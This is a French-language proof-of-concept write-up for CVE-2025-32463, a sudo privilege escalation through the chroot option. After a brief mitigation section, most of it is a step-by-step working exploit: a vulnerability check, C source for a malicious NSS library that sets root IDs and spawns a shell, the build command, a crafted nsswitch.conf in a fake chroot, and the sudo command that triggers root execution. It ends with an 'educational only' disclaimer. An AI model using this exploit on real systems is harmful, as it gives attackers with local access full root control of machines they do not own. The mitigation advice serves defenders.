CVE-2025-32463 - Escalade de privilèges Sudo

Une vulnérabilité d'escalade de privilèges existe dans sudo affectant les systèmes basés sur Linux/Unix. Le défaut provient d'une validation de chemin incorrecte lorsque sudo est utilisé avec l'option -R (--chroot), permettant aux attaquants d'escalader vers root via le chargement malveillant de bibliothèque NSS.

Cause racine

• Lorsque sudo exécute une commande dans un environnement chroot (option -R), il gère mal le chargement de bibliothèque NSS (Name Service Switch) lors de conditions d'erreur.
• Une validation de chemin incorrecte (par exemple, ne pas nettoyer LD_LIBRARY_PATH ou les chemins dans /etc/nsswitch.conf) peut conduire au chargement d'une bibliothèque malveillante au lieu de la bibliothèque NSS légitime (par exemple, libnss_files.so).
• Cela entraîne une exécution de code arbitraire avec les privilèges root.

Impact

• Les attaquants ayant un accès local peuvent exploiter cela pour obtenir les privilèges root.

Atténuation

1. Mettre à jour sudo vers la dernière version patchée.
2. Restreindre les permissions sudo (limiter l'utilisation de chroot si possible).
3. Auditer les variables d'environnement :
   • Restreindre LD_LIBRARY_PATH.
   • Sécuriser /etc/nsswitch.conf.
4. Appliquer secure_path dans /etc/sudoers pour limiter les chemins de recherche de bibliothèques.

Détails techniques

Aperçu de la vulnérabilité

CVE ID: CVE-2025-32463
Versions concernées : Sudo 1.9.14 à 1.9.17
CVSS Score : 9.8 (Critique)
Impact : Escalade de privilèges locale vers root

Flux d'attaque

1. L'attaquant crée une bibliothèque NSS malveillante
2. Met en place un environnement chroot factice
3. Déclenche une condition d'erreur sudo
4. Sudo charge la bibliothèque contrôlée par l'attaquant
5. Le code malveillant s'exécute avec les privilèges root

Étapes d'exploitation

Étape 1 : Vérifier la vulnérabilité

Si elle répond avec No such file or directory alors elle est vulnérable : sudo -R invalid invalid sudo: invalid: No such file or directory

Étape 2 : Créer un espace de travail temporaire

Tout d'abord, nous créons un répertoire temporaire pour travailler : TMP_DIR=$(mktemp -d -t sudobridge.XXXXXX) cd $TMP_DIR Cela crée un répertoire temporaire avec un nom unique et s'y rend. La commande mktemp garantit que nous n'interférons pas avec les fichiers système existants.

Étape 3 : Créer une bibliothèque malveillante

Nous devons créer un fichier C (bridge90.c) qui sera compilé en une bibliothèque malveillante :

#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void bridge(void) {
  setreuid(0,0);  // Set real and effective user ID to root
  setregid(0,0);  // Set real and effective group ID to root
  chdir("/");     // Change to root directory
  execl("/bin/sh", "sh", "-c", "/bin/bash", NULL);  // Execute shell
}

Composants clés :

__attribute__((constructor)) garantit que la fonction s'exécute lorsque la bibliothèque est chargée

setreuid et setregid élèvent les privilèges à root

execl lance un shell bash

Étape 4 : Configurer l'environnement d'exploitation

mkdir -p bridge/etc echo "passwd: /bridge90" > bridge/etc/nsswitch.conf cp /etc/group bridge/etc/ mkdir libnss_ gcc -shared -fPIC -Wl,-init,bridge -o libnss_/bridge90.so.2 bridge90.c Détails :

Créer un environnement chroot factice dans bridge/etc

Modifier nsswitch.conf pour pointer vers notre chemin malveillant

Copier le fichier /etc/group réel pour maintenir la légitimité

Créer un répertoire pour notre bibliothèque malveillante

Compiler le code C en une bibliothèque partagée nommée pour correspondre aux conventions NSS (Name Service Switch)

Étape 5 : Exécuter l'exploit

sudo -R bridge bridge

Cette commande tente d'utiliser notre environnement conçu :

Le premier bridge est le répertoire chroot contenant notre configuration malveillante

Le second bridge est la commande à exécuter (qui chargera notre bibliothèque)

Étape 6 : Vérifier l'escalade de privilèges

Après une exploitation réussie, vérifier l'accès root :

whoami # Devrait retourner "root" id -u # Devrait retourner "0" (UID de root)

graph LR
    A[Malicious Library] --> B[Fake Chroot]
    B --> C[Trigger Error]
    C --> D[Library Load]
    D --> E[Root Execution]

Avertissement

Cet exploit PoC est à des fins éducatives uniquement ! Je ne suis pas responsable de tout usage abusif que vous pourriez faire de cet exploit !